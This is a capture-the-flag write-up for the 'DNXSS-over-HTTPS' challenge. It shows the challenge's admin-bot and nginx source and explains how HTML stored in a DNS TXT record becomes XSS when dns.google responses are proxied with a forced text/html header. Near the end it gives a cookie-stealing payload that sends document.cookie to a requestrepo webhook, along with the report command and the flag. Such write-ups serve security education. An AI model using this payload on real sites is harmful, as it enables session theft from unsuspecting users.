DNXSS-over-HTTPS
Description
Do you like DNS-over-HTTPS? Well, I’m proxying https://dns.google/! Would be cool if you can find an XSS!
Report to admin locally:
1
curl http://localhost:8008/report -H "Content-Type: application/json" -d '{"url":"http://proxy/"}'
Report to admin for the real flag:
1
curl https://dnxss.chal-kalmarc.tf/report -H "Content-Type: application/json" -d '{"url":"http://proxy/"}'
https://dnxss.chal-kalmarc.tf/
Solution
First Look
We are given the source code of the challenge. The main parts of the source code are the adminbot.js
and nginx.conf
files. The nginx.conf
file contains the configuration for the Nginx server and the adminbot.js
file contains the logic for the admin bot.
adminbot.js
We can see that the admin bot is a simple Express.js server that uses Puppeteer to visit a URL and set a cookie with the flag. The flag is stored in the FLAG
environment variable and the domain is stored in the DOMAIN
environment variable. The server listens on port 3000 and has a single endpoint /report
that accepts a JSON object with a url
field. There is also a condition that the URL should start with http://proxy/
. This, in combination with the challenge name, suggests that we are dealing with a XSS challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();
const FLAG = process.env.FLAG || 'kalmar{test_flag}';
const DOMAIN = process.env.DOMAIN || 'http://proxy/';
app.use(express.json());
function sleep(ms) {
return new Promise(res => setTimeout(res, ms));
}
async function visitUrl(url) {
const browser = await puppeteer.launch({
headless: 'new',
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
try {
const page = await browser.newPage();
// Set flag cookie
await page.setCookie({
name: 'flag',
value: FLAG,
domain: new URL(DOMAIN).hostname,
});
await page.goto(url, {
waitUntil: 'networkidle0',
});
await sleep(1000);
} catch (err) {
console.error('Error visiting page:', err);
} finally {
await browser.close();
}
}
app.post('/report', async (req, res) => {
const { url } = req.body;
if (!url || typeof url !== 'string' || !url.startsWith(DOMAIN)) {
return res.status(400).json({ error: `Invalid URL. Url should be a string and start with ${DOMAIN}` });
}
try {
await visitUrl(url);
res.json({ success: true });
} catch (err) {
res.status(500).json({ error: 'Failed to visit URL' });
}
});
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Adminbot listening on port ${PORT}`);
});
nginx.conf
The Nginx configuration file is quite simple. It listens on port 80 and has two locations. The first location /
proxies requests to https://dns.google/
and adds a Content-Type
header with the value text/html
. The second location /report
proxies requests to the admin bot server running on http://adminbot:3000
. It’s very interesting that it basically forces the content type to be text/html
for all requests to the proxy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
events {
worker_connections 1024;
}
http {
server {
listen 80;
location / {
proxy_pass https://dns.google;
add_header Content-Type text/html always;
}
location /report {
proxy_pass http://adminbot:3000;
}
}
}
dns.google
Let’s interact a bit with dns.google and also read the documentation to understand how it works. We can see that it’s a DNS-over-HTTPS service that allows us to resolve DNS queries over HTTPS.
So we have 2 choices here:
/dns-query
/resolve
Let’s proceed with the /resolve
endpoint for now, since the documentation seems easier to understand.
/resolve
Endpoint
Reading the documentation for the /resolve
endpoint, we can see that it accepts a GET request with a number of query parameters.
The most interesting parameters for us are:
name
type
ct
Time to interact with the /resolve
endpoint. We start by sending a request with the name
parameter set to google.com
DNS records
What if we try to create a DNS record with a payload and then resolve it using the /resolve
endpoint? Let’s try to create a TXT record with the payload <img src=X>
.
We’ll be using requestrepo which is an open-source tool that allows us to do many things, including creating DNS records.
After creating the DNS record, we can resolve it by sending the following request:
Hmm interesting, we can see our payload in the response. Unfortunately, the <
and >
characters are escaped.
Digging Deeper
So far, we’ve used the name
and type
parameters. Let’s try to use the ct
parameter. According to the documentation, the ct
parameter is used to specify the content type of the response. We can set it to either application/x-javascript
to get a JSON response(default) or application/dns-message
to get a binary DNS message in the response.
Let’s try it.
Nice we can see our original paylaod in the response. Unfortunately, this will not trigger an XSS since the Content-Type is not text/html
.
Last Piece of the Puzzle
Do you remember the Nginx configuration? It forces the Content-Type
header to be text/html
for all requests to the proxy. This means that we can trigger an XSS by creating a DNS record with the payload <img src=X onerror=alert(document.domain)>
and resolving it using the /resolve
endpoint with the ct
parameter set to application/dns-message
. The difference in our situation compared to the previous one is that the response will have the Content-Type
header set to text/html
and the payload will be executed. Let’s try it.
It worked.
Getting the Flag
Now that we have a working XSS payload, we can use it to steal the flag. We can create a DNS record with the payload given below and then send it to the admin bot server using the /report
endpoint. The flag will be sent to our requestrepo webhook.
Modifying the Payload
Payload:
1
<img src=X onerror=fetch(`https://3md2h53d.requestrepo.com/?c=${document.cookie}`)>
Report to Admin
1
curl https://dnxss.chal-kalmarc.tf/report -H "Content-Type: application/json" -d '{"url":"http://proxy/resolve?name=marios.3md2h53d.requestrepo.com&type=txt&ct=application/dns-message"}'
Flag
The flag is kalmar{that_content_type_header_is_doing_some_heavy_lifting!_did_you_use_dns-query_or_resolve?}
.